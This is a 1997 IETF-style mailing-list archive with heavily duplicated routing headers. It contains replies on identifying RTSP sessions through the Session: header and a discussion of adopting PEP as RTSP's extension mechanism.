Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.170925.1063.476321; Fri, 23 May 1997 17:09:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185451.1063.476406; Fri, 23 May 1997 18:54:51 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29305>; Fri, 23 May 1997 14:17:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29293>; Fri, 23 May 1997 14:17:04 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02877>; Fri, 23 May 1997 14:16:54 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.171236.1063.767320; Fri, 23 May 1997 17:15:37 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.171236.1063.767320@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:15:37 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200909.1063.476436; Fri, 23 May 1997 20:09:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05624>; Fri, 23 May 1997 16:03:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05617>; Fri, 23 May 1997 16:03:20 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA07094>; Fri, 23 May 1997 16:03:18 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185819.1063.767501; Fri, 23 May 1997 19:01:56 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.185819.1063.767501@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 19:01:56 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.213412.1063.476462; Fri, 23 May 1997 21:34:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09550>; Fri, 23 May 1997 17:18:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09544>; Fri, 23 May 1997 17:18:06 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA09672>; Fri, 23 May 1997 17:18:04 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.201320.1063.767598; Fri, 23 May 1997 20:16:41 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.201320.1063.767598@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:16:41 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 19:32:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA15553>; Fri, 23 May 1997 20:33:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA15547>; Fri, 23 May 1997 20:33:11 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA15664>; Fri, 23 May 1997 20:33:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.232800.1063.767741; Fri, 23 May 1997 23:32:44 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.232800.1063.767741@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 23:32:44 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
  Yaron

> -----Original Message-----
> From: Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent: Friday, May 16, 1997 4:44 PM
> To: http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject: Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165912.1063.476313; Fri, 23 May 1997 16:59:16 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id:
<11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184329.1063.476399; Fri, 23 May 1997 18:43:29 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28662>; Fri, 23 May 1997 14:04:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28648>; Fri, 23 May 1997 14:04:47 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02349>; Fri, 23 May 1997 14:04:42 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165900.1063.767278; Fri, 23 May 1997 17:03:23 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com,
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.165900.1063.767278@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:03:23 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200152.1063.476431; Fri, 23 May 1997 20:01:52 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04514>; Fri, 23 May 1997 15:49:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04508>; Fri, 23 May 1997 15:49:00 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06587>; Fri, 23 May 1997 15:48:58 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184300.1063.767477; Fri, 23 May 1997 18:47:35 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.184300.1063.767477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 18:47:35 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.211846.1063.476457; Fri, 23 May 1997 21:18:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09149>; Fri, 23 May 1997 17:06:32 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09143>; Fri, 23 May 1997 17:06:30 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA09374>; Fri, 23 May 1997 17:06:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200100.1063.767577; Fri, 23 May 1997 20:05:05 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.200100.1063.767577@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:05:05 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.232841.1063.476491; Fri, 23 May 1997 23:28:41 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA12151>; Fri, 23 May 1997 18:24:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA12144>; Fri, 23 May 1997 18:24:48 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA12405>; Fri, 23 May 1997 18:24:46 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.211800.1063.767653; Fri, 23 May 1997 21:23:22 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.211800.1063.767653@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 21:23:22 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 19:44:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA15824>; Fri, 23 May 1997 20:44:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA15818>; Fri, 23 May 1997 20:44:40 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA15890>; Fri, 23 May 1997 20:44:38 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.233700.1063.767758; Fri, 23 May 1997 23:44:13 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.233700.1063.767758@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 23:44:13 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.170925.1063.476321; Fri, 23 May 1997 17:09:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185451.1063.476406; Fri, 23 May 1997 18:54:51 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29305>; Fri, 23 May 1997 14:17:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA29293>; Fri, 23 May 1997 14:17:04 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02877>; Fri, 23 May 1997 14:16:54 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.171236.1063.767320; Fri, 23 May 1997 17:15:37 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.171236.1063.767320@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:15:37 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.200909.1063.476436; Fri, 23 May 1997 20:09:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05624>; Fri, 23 May 1997 16:03:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA05617>; Fri, 23 May 1997 16:03:20 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA07094>; Fri, 23 May 1997 16:03:18 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185819.1063.767501; Fri, 23 May 1997 19:01:56 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.185819.1063.767501@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 19:01:56 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.213412.1063.476462; Fri, 23 May 1997 21:34:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09550>; Fri, 23 May 1997 17:18:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA09544>; Fri, 23 May 1997 17:18:06 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA09672>; Fri, 23 May 1997 17:18:04 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.201320.1063.767598; Fri, 23 May 1997 20:16:41 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.201320.1063.767598@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 23 May 1997 20:16:41 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.233714.1063.476494; Fri, 23 May 1997 23:37:14 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA12539>; Fri, 23 May 1997 18:40:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA12533>; Fri, 23 May 1997 18:40:34 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA12835>; Fri, 23 May 1997 18:40:31 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.213400.1063.767670; Fri, 23 May 1997 21:39:08 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.213400.1063.767670@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 21:39:08 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 03:47:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
